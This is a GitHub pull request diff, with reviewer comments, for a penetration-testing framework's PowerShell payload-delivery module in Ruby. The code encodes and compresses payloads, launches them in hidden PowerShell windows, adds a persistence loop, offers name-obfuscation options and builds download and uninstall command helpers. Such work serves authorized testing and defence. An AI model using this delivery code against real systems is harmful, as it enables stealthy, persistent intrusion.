-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Powershell import #2075
Powershell import #2075
Changes from 8 commits
595e538
4554cc6
cd14569
dc15c5b
eb18537
9d93891
4df3b02
b3fab9a
176de5a
eb3f83f
59a2c7e
e1cfe7c
d2e57ea
976c058
7c46e95
2c850d8
8668a51
3494374
a2be75b
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,120 +1,87 @@ | ||
# -*- coding: binary -*- | ||
require 'zlib' | ||
require 'rex/exploitation/powershell' | ||
|
||
module Msf | ||
module Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super | ||
register_options( | ||
[ | ||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), | ||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), | ||
OptBool.new('RUN_WOW64', [ | ||
true, | ||
'Execute powershell in 32bit compatibility mode, payloads need native arch', | ||
false | ||
]), | ||
], self.class) | ||
end | ||
|
||
# | ||
# Insert substitutions into the powershell script | ||
# | ||
def make_subs(script, subs) | ||
if ::File.file?(script) | ||
script = ::File.read(script) | ||
end | ||
|
||
subs.each do |set| | ||
script.gsub!(set[0],set[1]) | ||
end | ||
if datastore['VERBOSE'] | ||
print_good("Final Script: ") | ||
script.each_line {|l| print_status("\t#{l}")} | ||
end | ||
return script | ||
end | ||
|
||
# | ||
# Return an array of substitutions for use in make_subs | ||
# | ||
def process_subs(subs) | ||
return [] if subs.nil? or subs.empty? | ||
new_subs = [] | ||
subs.split(';').each do |set| | ||
new_subs << set.split(',', 2) | ||
end | ||
return new_subs | ||
end | ||
|
||
# | ||
# Read in a powershell script stored in +script+ | ||
# | ||
def read_script(script) | ||
script_in = '' | ||
begin | ||
# Open script file for reading | ||
fd = ::File.new(script, 'r') | ||
while (line = fd.gets) | ||
script_in << line | ||
end | ||
|
||
# Close open file | ||
fd.close() | ||
rescue Errno::ENAMETOOLONG, Errno::ENOENT | ||
# Treat script as a... script | ||
script_in = script | ||
end | ||
return script_in | ||
end | ||
|
||
|
||
# | ||
# Return a zlib compressed powershell script | ||
# | ||
def compress_script(script_in, eof = nil) | ||
|
||
# Compress using the Deflate algorithm | ||
compressed_stream = ::Zlib::Deflate.deflate(script_in, | ||
::Zlib::BEST_COMPRESSION) | ||
|
||
# Base64 encode the compressed file contents | ||
encoded_stream = Rex::Text.encode_base64(compressed_stream) | ||
|
||
# Build the powershell expression | ||
# Decode base64 encoded command and create a stream object | ||
psh_expression = "$stream = New-Object IO.MemoryStream(," | ||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" | ||
# Read & delete the first two bytes due to incompatibility with MS | ||
psh_expression << "$stream.ReadByte()|Out-Null;" | ||
psh_expression << "$stream.ReadByte()|Out-Null;" | ||
# Uncompress and invoke the expression (execute) | ||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" | ||
psh_expression << "$(New-Object IO.Compression.DeflateStream(" | ||
psh_expression << "$stream," | ||
psh_expression << "[IO.Compression.CompressionMode]::Decompress))," | ||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" | ||
|
||
# If eof is set, add a marker to signify end of script output | ||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end | ||
|
||
# Convert expression to unicode | ||
unicode_expression = Rex::Text.to_unicode(psh_expression) | ||
|
||
# Base64 encode the unicode expression | ||
encoded_expression = Rex::Text.encode_base64(unicode_expression) | ||
|
||
return encoded_expression | ||
end | ||
|
||
# | ||
# Runs powershell in hidden window raising interactive proc msg | ||
# | ||
def run_hidden_psh(ps_code,ps_bin='powershell.exe') | ||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } " | ||
|
||
ps_wrapper = <<EOS | ||
class PshScript < Rex::Exploitation::Powershell::Script | ||
end | ||
|
||
def initialize(info = {}) | ||
super | ||
register_advanced_options( | ||
[ | ||
OptBool.new('RUN_WOW64', [ | ||
false, | ||
'Execute powershell in 32bit compatibility mode, payloads need native arch', | ||
false | ||
]), | ||
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), | ||
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), | ||
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), | ||
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), | ||
], self.class) | ||
end | ||
|
||
# | ||
# Reads script into a PshScript | ||
# | ||
def read_script(script) | ||
return PshScript.new(script) | ||
end | ||
|
||
# | ||
# Insert substitutions into the powershell script | ||
# | ||
def make_subs(script, subs) | ||
if ::File.file?(script) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This should return if it cant find the file or script could be nil/some weird input on line 44? |
||
script = ::File.read(script) | ||
end | ||
|
||
subs.each do |set| | ||
script.gsub!(set[0],set[1]) | ||
end | ||
# if datastore['VERBOSE'] | ||
# print_good("Final Script: ") | ||
# script.each_line {|l| print_status("\t#{l}")} | ||
# end | ||
return script | ||
end | ||
|
||
# | ||
# Return an array of substitutions for use in make_subs | ||
# | ||
def process_subs(subs) | ||
return [] if subs.nil? or subs.empty? | ||
new_subs = [] | ||
subs.split(';').each do |set| | ||
new_subs << set.split(',', 2) | ||
end | ||
return new_subs | ||
end | ||
|
||
# | ||
# Return a gzip compressed powershell script | ||
# Will invoke PSH modifiers as enabled | ||
# | ||
def compress_script(script_in, eof = nil) | ||
# Build script object | ||
psh = PshScript.new(script_in) | ||
# Invoke enabled modifiers | ||
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Will this work with the renaming of the functions? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yup, i run with sub_vars and sub_funcs all the time. This was written before the recent commits adding unique random var generation, so handles that in the psh Rex lib. If you're seeing bugs in testing, would love to reproduce and fix in the Rex layer. |
||
mod_method = k.split('::').last.intern | ||
psh.send(mod_method) | ||
end | ||
return psh.compress_code(eof) | ||
end | ||
|
||
# | ||
# Runs powershell in hidden window raising interactive proc msg | ||
# | ||
def run_hidden_psh(ps_code,ps_bin='powershell.exe') | ||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } " | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This could be shortened to -e Or perhaps a compress commandline to gsub powershell args with: Would give us just that little more room on the command line There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Agreed, will implement. |
||
|
||
ps_wrapper = <<EOS | ||
$si = New-Object System.Diagnostics.ProcessStartInfo | ||
$si.FileName = "#{ps_bin}" | ||
$si.Arguments = '#{ps_args}' | ||
|
@@ -125,54 +92,98 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe') | |
$p = [System.Diagnostics.Process]::Start($si) | ||
EOS | ||
|
||
return ps_wrapper | ||
end | ||
|
||
# | ||
# Creates cmd script to execute psh payload | ||
# | ||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) | ||
# Allow powershell 1.0 format | ||
if old_psh | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) | ||
else | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) | ||
end | ||
# Run our payload in a while loop | ||
if datastore['PERSIST'] | ||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) | ||
sleep_time = rand(5)+5 | ||
psh_payload = "function #{fun_name}{#{psh_payload}};" | ||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" | ||
end | ||
# Determine appropriate architecture | ||
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' | ||
# Wrap in hidden runtime | ||
psh_payload = run_hidden_psh(psh_payload,ps_bin) | ||
# Convert to base64 for -encodedcommand execution | ||
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n" | ||
end | ||
|
||
# | ||
# Convert binary to byte array, read from file if able | ||
# | ||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) | ||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data | ||
code = code.unpack('C*') | ||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" | ||
lines = [] | ||
1.upto(code.length-1) do |byte| | ||
if(byte % 10 == 0) | ||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" | ||
else | ||
lines.push ",0x#{code[byte].to_s(16)}" | ||
end | ||
end | ||
psh << lines.join("") + "\r\n" | ||
end | ||
|
||
|
||
|
||
return ps_wrapper.gsub("\n",';') | ||
end | ||
|
||
# | ||
# Creates cmd script to execute psh payload | ||
# | ||
def cmd_psh_payload(pay, old_psh=false) | ||
# Allow powershell 1.0 format | ||
if old_psh | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) | ||
else | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) | ||
end | ||
# Run our payload in a while loop | ||
if datastore['PERSIST'] | ||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) | ||
sleep_time = rand(5)+5 | ||
psh_payload = "function #{fun_name}{#{psh_payload}};" | ||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is the '1' required at the end? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This was a while back, but if i remember correctly, i did this because lack of a handler to catch the payload returns 0, so the persistence would not work unless each payload was caught. |
||
end | ||
# Determine appropriate architecture, manual method reduces script size | ||
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' | ||
# Wrap in hidden runtime | ||
psh_payload = run_hidden_psh(psh_payload,ps_bin) | ||
# Convert to base64 for -encodedcommand execution | ||
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n" | ||
end | ||
|
||
|
||
# | ||
# Useful method cache | ||
# | ||
module PshMethods | ||
|
||
# | ||
# Convert binary to byte array, read from file if able | ||
# | ||
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) | ||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data | ||
code = code.unpack('C*') | ||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" | ||
lines = [] | ||
1.upto(code.length-1) do |byte| | ||
if(byte % 10 == 0) | ||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" | ||
else | ||
lines.push ",0x#{code[byte].to_s(16)}" | ||
end | ||
end | ||
|
||
return psh << lines.join("") + "\r\n" | ||
end | ||
|
||
# | ||
# Download file to host via PSH | ||
# | ||
def self.download(src,target=nil) | ||
target ||= '$pwd\\' << src.split('/').last | ||
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^ | ||
end | ||
|
||
# | ||
# Uninstall app | ||
# | ||
def self.uninstall(app,fuzzy=true) | ||
match = fuzzy ? '-like' : '-eq' | ||
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ | ||
end | ||
|
||
# | ||
# Create secure string from plaintext | ||
# | ||
def self.secure_string(str) | ||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ | ||
end | ||
|
||
# | ||
# MISC | ||
# | ||
|
||
# | ||
# Find PID of file locker | ||
# | ||
def self.who_locked_file?(filename) | ||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ | ||
end | ||
|
||
|
||
def self.get_last_login(user) | ||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ | ||
end | ||
end | ||
end | ||
end | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should really be called path not script?